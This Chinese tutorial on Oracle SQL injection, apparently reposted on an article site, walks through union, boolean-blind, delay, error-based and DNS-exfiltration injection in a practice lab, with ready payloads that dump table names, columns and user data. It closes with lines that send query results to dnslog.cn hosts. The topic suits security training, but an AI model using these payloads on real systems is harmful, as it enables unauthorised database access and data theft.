Oracle注入(基础篇)

先了解Oracle一些内容


Oracle做联合注入的注意事项(附带示例)


联合查询的字段数必须和前面的查询语句字段数一致
select id,username,password from admin union select 1,'admin' from dual (X)



联合查询的字段类型也必须和前面的查询语句字段类型一致

select id,username,password from admin union select 1,2,3 from dual (X)



联合查询的语句中必须要有表名

select id,username,password from admin union select 1,'admin','admin' (X)

正确的联合查询方法

select id,username,password from admin union select 1,'admin','admin' from dual (√)

注意:oracle中包裹字符串用’'不要用""

Oracle自带的表


select * from all_tables 查询出所有的表

关键字段:
OWNER,用户(表的拥有者),不同的用户下会有不同的表
TABLE_NAME,表名


select * from all_tab_columns 查询出所有的字段

关键字段:
OWNER,用户(表的拥有者),不同的用户下会有不同的表
TABLE_NAME,表名
COLUMN_NAME,字段名

下面两个都是查询当前用户的表和字段的,所以没有OWNER字段,另外两个字段是有的

select * from user_tables 查询出当前用户的表

select * from user_tab_columns 查询出当前用户的字段

其实用的话都用查字段的表就好了,因为查字段的表里面存储了表名和字段

Oracle怎么实现mysql中Limit的功能


在Oracle中有一个比较特殊的存在,它就是rownum,它是一个伪列,它并不存储在任何表中,而是在当我们执行了查询语句之后,它就会出现,对查出来的数据进行编号,将它做为一个判断规则时,它是不支持用>号的,只能是=1或者<n

示例如下

SELECT * FROM user WHERE rownum = 1; -- 没问题
SELECT * FROM user WHERE rownum = 2; -- 有问题
SELECT * FROM user WHERE rownum < 2; -- 没问题
SELECT * FROM user WHERE rownum > 2; -- 有问题

那如果我们就是想对他用>呢,那么也有办法,用子查询给rownum取个别名,然后外面的查询语句,再使用别名调用rownum的值就好了

例如这里有5条数据我要取后三条数据

SELECT * FROM (SELECT rownum rn,DEPT.* FROM DEPT WHERE rownum < 6)r WHERE rn > 


如何判断是否是oracle数据库
通过版本号判断,and (select count(*) from v$version) > 0

通过特有的表判断,and (select count(*) from user_tables) > 0,用dual来进行测试也行

通过特有的函数判断,and bitand(1,1)=1


信息收集


查询当前用户

select user from dual


查询数据库文件存储位置

select name from V$DATAFILE

查询数据库版本

-- 占个行
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- 这个视图需要权限才能查询,所以也可以用它来判断当前用户权限
select version from v$instance


查询当前用户权限

-- 这个可以查询当前用户可以进行哪些操作,例如CREATE SESSION,CREATE PROCEDURE等
select privilege from session_privs



查询主机IP

-- 查询的是内网IP
select utl_inaddr.get_host_address from dual


查询当前库名,两个都可以用,都可以试一试

SELECT global_name FROM global_name;
SELECT SYS.DATABASE_NAME FROM DUAL;


查询JAVA权限,这个权限是指用户可以调用哪些JAVA类

-- 查询所有用户JAVA权限,需要有DBA权限
select * from DBA_JAVA_POLICY;
-- 查看当前用户的JAVA权限
select * from user_java_policy
查看对象( JAVA类(JAVA SOURCE),存储过程(PROCEDURE),函数(FUNCTION))

-- 查看当前用户创建的对象,常看的就是
select * from user_objects
-- 查看所有用户创建的对象
select * from all_objects
-- 查看已经加载的对象
SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION','PROCEDURE','PACKAGE') order by object_id desc;


查看当前角色权限

select granted_role from user_role_privs


查看指定包源码

select TEXT FROM all_source WHERE NAME='包名'


联合注入


测字段数 -> 找显错位-> 拿表名 -> 拿字段名 -> 拿数据

再Mysql中可能要查其他数据库的数据,那么再开头还会有一个拿库名的过程,在Oracle中是拿用户名

靶场实战


先测试字段数,有两种办法

由于oracle做联合注入需要和前面的联合查询语句字段类型一致,所以我们先用null进行占位,它可以匹配任何类型

oracle的查询语句必须有表名,所以这里写了from dual

当字段里面写到4个null时,不报错, 说明是4个字段

使用order by 关键字进行测试,例如这里,order by 4的时候还是正常的

order by 5的时候报错了,说明字段数是4

使用联合查询逐一添加字段位数去进行判断,这里有两个注意点

找显错位


上面我们已经知道了是4个字段,然后就可以先写上4个null进行占位union select null,null,null,null from dual,然后逐个替换数据的类型进行测试,常见的数据类型其实就那么几个(数值,字符串,时间)

这里第一位写的字符’a’,它爆了一个expression must have same datatype as corresponding expression的错误,这表示字段的类型不对,那么就不是字符型了

然后换成1,它没报错,说明第一个字段类型是数值型


下面测试第二个字段,还是和上面一样,先写字符’a’,这时候注意它的报错,已经和刚才的报错是不一样了,这里的报错是字符集不匹配,那么解决方法就是把我们输入的内容转换为匹配的字符集

这里就得提到to_char(),to_nchar()两个函数了,我们可以尝试用这两个函数去对’a’进行转换,哪个没报错,那么就用哪个,这里用的是

to_nchar()
union select,to_nchar('a'),null,null from dual


并且也已经回显了字符a,那么就没必要再测下面的字段类型了,我们用它就好了,如果有字段是时间类型的话可以用to_date()函数,不过我认为如果是时间类型的话,哪怕回显了也利用不了

获取表名


利用oracle的user_tab_columns这个自带表进行查询就好了,这里主要的问题在于如何获取其他表名

排除法,将当前的查询到的表名给排除掉就可以获取下一个表名,注意区分大小写
union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name<>‘ADMIN’

有两个办法
排除法,将当前的查询到的表名给排除掉就可以获取下一个表名,注意区分大小写

union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name<>'ADMIN'


如果还要查下一个表名那么就在加判断,and table_name <> ‘MD5’,以此类推

2.别名法,再刚开始已经提过了,使用子查询对rownum进行取别名的方式来取数据


上面这种写法,如果排除的表名多了,语句就会很长,还有一种更好的办法,使用not in关键字,只需要把要排除的表名直接写进去就好了

union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name not in('ADMIN','MD5')

2.别名法,再刚开始已经提过了,使用子查询对rownum进行取别名的方式来取数据

union selec 1,to_nchar(table_name),null,null from user_tab_columns

查字段名


利用user_tab_columns中的column_name字段就好了,获取其他字段名的方法还是用上面的办法,别忘了限制查哪个表的字段,不然你拿的是谁的字段都不知道

union select null,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'


查数据

union selec 1,to_nchar(UNAME),null,null from ADMIN

这里就查刚才获取的UNAME字段的数据吧


布尔注入


字符操作函数


length(string),返回字符串的长度

instr(源字符,目标字符[,起始位置[,匹配序号]]),这个函数的作用是返回源字符中第一次匹配到目标字符的位置,如果没有的话就返回0,起始位置是设置开始匹配的位置

示例如下

-- 我们先查出第一个字符是什么,所以写1=,然后S这个位置就是可以用来枚举字符的位置了,这里面有两个S,但是它只会返回第一个匹配到S的位置
select * from dual where 1=instr('SYSTEM','S')
-- 我们查第二个字符,就改成2=,并且写上第三个参数为2,让他从第2个字符开始查
select * from dual where 2=instr('SYSTEM','Y',2)
-- 第三个,以此类推
select * from dual where 3=instr('SYSTEM','Y',3)
...........
  • substr(string,start,end),指定位置截取字符串,这个函数在mysql做帮助的时候用的多,就不细讲了
  • chr(ascii),把ascii码转为对应的字符
  • ascii(char),把字符转为ascii码
  • decode(a1,a2,x1,x2),判断a1和a2是否相等,那么就执行x1,否则执行x2,可以用来做布尔或者延时的盲注

靶场实战


这里就以表名为例,注意我在where后面写了rownum=1,因为查出多条数据会报错的

利用instr()函数做题
先利用length(),测出表名的长度

and length((select table_name from user_tables where rownum=1))=1


表名长度为5


然后利用instr()获取表名
and 1=instr((select table_name from user_tables where rownum=1),‘a’,1),图片中我没有写1,因为默认就是1开始


跑出来第一个字符是A


跑后面的字符就按instr中说的示例改就好了

decode()+substr()做题
这个相比使用instr()要写的参数更多,写的时候细心一点

-- 匹配成功返回1,1=1就会为真,匹配失败返回0,就会为假
1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)
-- 要查询第二个字符的话,将substr的第二个参数改为2就好了,后面的以此类推
1=decode(substr((select table_name from user_tables where rownum=1),2,1),'a',1,0)
-- 爆破的位置为decode的第二个参数,详情见图片中设置的枚举位置
-- 如果想枚举ascii码,可以在substr的外面用ascii()函数进行转换就好了
1=decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),98,1,0)
and 1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)


这里跑出来第一个字符是A

延时注入
延时函数


dbms_pipe.receive_message(‘任意字符’,延迟时间)


(select count() from all_objects),利用查询大量数据来达到一个延时的效果
执行了(select count() from all_objects)的语句查询结果用时0.555秒


而没有执行的查询用时才0.053秒


报错注入


报错函数

1=utl_inaddr.get_host_name((查询语句))


靶场不支持使用这个函数,所以在数据库里面测试了,可以使用,||符号在oracle中的作用是拼接字符串,我这里往user的左右两边拼接了一个-更方便区分

1=ctxsys.drithsx.sn(1,(查询语句))


(select upper(XMLType(chr(60)||chr(58)||(查询语句)||chr(62))) from dual) is not null


那几个chr()函数被我用转换后的字符给替换了

(select dbms_xdb_version.checkin((查询语句)) from dual) is not null


and (select dbms_xdb_version.makeversioned((查询语句)) from dual) is not null


and (select dbms_xdb_version.uncheckout((查询语句)) from dual) is not null


and (SELECT dbms_utility.sqlid_to_sqlhash((查询语句)) from dual) is not null


堆叠注入


ORACLE不支持堆叠注入

DNS注入


select * from dual where (select utl_http.request(查询的字段||’.lcq2u0.dnslog.cn’) from dual) is not null


and (select utl_inaddr.get_host_address(查询的字段||’.tmpgak.dnslog.cn’) from dual)is not null

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/115106.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OpenAI最新官方GPT最佳实践指南,一文讲清ChatGPT的Prompt玩法

原文&#xff1a;Sina Visitor System OpenAI的官网发表万字GPT最佳实践指南&#xff0c;讲清Prompt提示词的原则和策略&#xff0c;这里是总结和全文翻译 原创图像&#xff0c;AI辅助生成 OpenAI的官网上刚刚发表一篇万字的GPT最佳实践指南&#xff0c;这份指南把写好Promp…

路由器基础(七):NAT原理与配置

一、NAT 配置 华为路由器配置NAT 的方式有很多种&#xff0c;考试中可能考到的基本配置方 式主要有EasyIP和通过NAT地址池的方式。图22-7-1是一个典型的通过EasyIP进行NAT的示意图&#xff0c;其中Router出接口GE0/0/1的IP地址为200.100.1.2/24,接口E0/0/1的IP地址为192.168.0.…

MySQL - 库的操作

目录 1.库的操作1.1创建数据库1.2创建数据库案例 2.字符集和校验规则3.操纵数据库4.备份和恢复5.查看连接情况 1.库的操作 1.1创建数据库 语法&#xff1a; CREATE DATABASE [IF NOT EXISTS] db_name [create_specification [, create_specification] ...] create_specifica…

递归与快速算法

借鉴&#xff1a; 4分钟彻底掌握递归算法、斐波那契数列、快速排序&#xff0c;不再怕面试&#xff01;_哔哩哔哩_bilibili 可直接观看借鉴里的视频 快速算法

QT学习之QT概述

1.1 什么是QT&#xff1f; Qt是一个跨平台的C图形用户界面应用程序框架。 QT特点&#xff1a; 跨平台&#xff0c;几乎支持所有的平台接口简单&#xff0c;容易上手&#xff0c;学习QT框架对学习其他框架有参考意义。一定程度上简化了内存回收机制开发效率高&#xff0c;能够…

Nacos全面知识 ----微服务 SpringCloud

快速入门 分级存储模型 修改集群配置 Nacos设置负载均衡策略 集群优先 权重优先 Nacos热更新配置 Nacos添加配置信息 微服务配置拉取 热更新:推荐使用第二种方法进行热部署 ConfigurationProperties(prefix "pattern") 是 Spring Boot 中用于自动配置属性的注解。它…

MATLAB 绘制 SISO 和 MIMO 线性系统的时间和频率响应图

系列文章目录 文章目录 系列文章目录前言一、时间响应二、频率响应三、极点/零点图和根节点四、响应特性五、分析 MIMO 系统六、系统比较七、修改时间轴或频率轴数值如果觉得内容不错&#xff0c;请点赞、收藏、关注 前言 本例演示如何绘制 SISO 和 MIMO 线性系统的时间和频率…

直播电商大变局:店播时代终于来了!

店播时代终于来了。 直播在2023年双十一的亮点&#xff0c;也是焦点。今年双十一&#xff0c;舆论场的注意力都集中在了几大平台的头部主播身上&#xff0c;却少有人注意店播的表现——根据淘宝直播官方数据&#xff0c;10月31日淘宝直播上有29个直播间开局即破亿&#xff0c;…

【MATLAB源码-第67期】基于麻雀搜索算法(SSA)的无人机三维地图路径规划,输出最短路径和适应度曲线。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 ​麻雀搜索算法&#xff08;Sparrow Search Algorithm, SSA&#xff09;是一种新颖的元启发式优化算法&#xff0c;它受到麻雀社会行为的启发。这种算法通过模拟麻雀的食物搜索行为和逃避天敌的策略来解决优化问题。SSA通过模…

Anaconda安装与配置

1.打开Anaconda官网&#xff0c;选择对应版本,下载到对应目录即可 或者进入: Index of /anaconda/archive/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 2.双击打开.exe文件&#xff0c;然后点击next ; 3.点击agree 4.点击just me,然后next; 5.在Choose Install L…

Linux 安装node并全局可用

前言 基于&#xff1a;操作系统 CentOS 7.6 工具&#xff1a;Xshell7、Xftp7 1.下载 根目录创建一个 node 文件夹并进入 mkdir /node && cd /node下载压缩包 wget https://nodejs.org/download/release/v16.18.0/node-v16.18.0-linux-x64.tar.gz2.解压并重命名 …

oracle 重启步骤及踩坑经验

oracle 重启步骤及踩坑经验 标准重启步骤 切换到oracle用户 su - oracle关闭监听 lsnrctl stop杀掉oracle有关进程 ps -ef|grep $ORACLE_SID|grep -v ora_|grep LOCALNO|awk {print $2}|xargs kill -9#查询pid ps -ef|grep $ORACLE_SID|grep -v ora_|grep LOCALNO|awk {p…

第 5 章 主窗口及对话框

5.1 主窗口区域划分 QMainWindow是Qt框架带来的一个预定义的主窗口类。所谓主窗口&#xff0c;就是一个普通意义上的应用程序最顶层的窗口。例如对于浏览器而言&#xff0c;主窗口就是这个浏览器窗口。回想一下&#xff0c;经典的主窗口通常由一个标题栏、一个菜单栏、若干工具…

【Linux】常见的Linux命令

目录 一、与目录有关的操作 二、与文件有关的操作 三、针对目录的操作 三、在linux上搭建环境 一、与目录有关的操作 1.ls 显示目录内容列表 ls / 这里的 / 表示根目录&#xff0c;相当于windows中的此电脑&#xff0c;linux中没有盘符。 ls -l / 显示详细信息 可以…

基于Taro + React 实现微信小程序半圆滑块组件、半圆进度条、弧形进度条、半圆滑行轨道(附源码)

效果&#xff1a; 功能点&#xff1a; 1、四个档位 2、可点击加减切换档位 3、可以点击区域切换档位 4、可以滑动切换档位 目的&#xff1a; 给大家提供一些实现思路&#xff0c;找了一圈&#xff0c;一些文章基本不能直接用&#xff0c;错漏百出&#xff0c;代码还藏着掖…

postgresql 触发器如何生成递增序列号,从1开始,并且每天重置

大家好&#xff0c;我是三叔&#xff0c;许久不见&#xff0c;这期给大家介绍一下笔者在开发中遇到的业务处理&#xff1a;pgsql 创建触发器生成每日递增序列&#xff0c;并且第二天重置&#xff0c;根据不同的用户进行不同的控制。 1.创建生成递增序列的 table 表 -- 创建us…

线程池与工厂模式

目录 ♫什么是线程池 ♫线程池的优点 ♫工厂模式 ♫工厂模式的意义 ♫线程池的使用 ♫线程池常见的创建方法 ♫ThreadPoolExecutor ♫实现一个线程池 ♫什么是线程池 线程池是一种管理和复用线程的技术&#xff0c;它在应用程序启动时预先创建一组线程&#xff0c;并将它…

uniapp写一个计算器用于记账(微信小程序,APP)

提要&#xff1a;自己用uniapp写了一个记账小程序&#xff08;目前是小程序&#xff09;&#xff0c;写到计算器部分&#xff0c;在网上找了别人写的计算器&#xff0c;大多数逻辑都是最简单的&#xff0c;都不能满足一个记账计算器的基本逻辑。与其在网上找来找去&#xff0c;…

由CAB/PAB展开的一些思考

又到了一月保底一篇订阅号文章的时候&#xff0c;上周受到Oracle邀请&#xff0c;参加了在上海Oracle办公室举行的CAB&#xff08;The 13th Oracle China Customer Advisory Board Metting&#xff09;/ PAB&#xff08;The 3th Oracle China Partner Advisory Board Metting&…

信息论基础知识1

1.1 自信息定义&#xff1a;把某个消息出现的不确定性大小&#xff0c;用这个消息出现的概率的对数表示&#xff1a; I(X)-logp(x) 1.2 在任何一个信息流通的系统中&#xff0c;都有一个发出信息的发送端&#xff08;信源&#xff09;&#xff0c;有一个接收信息的接收端…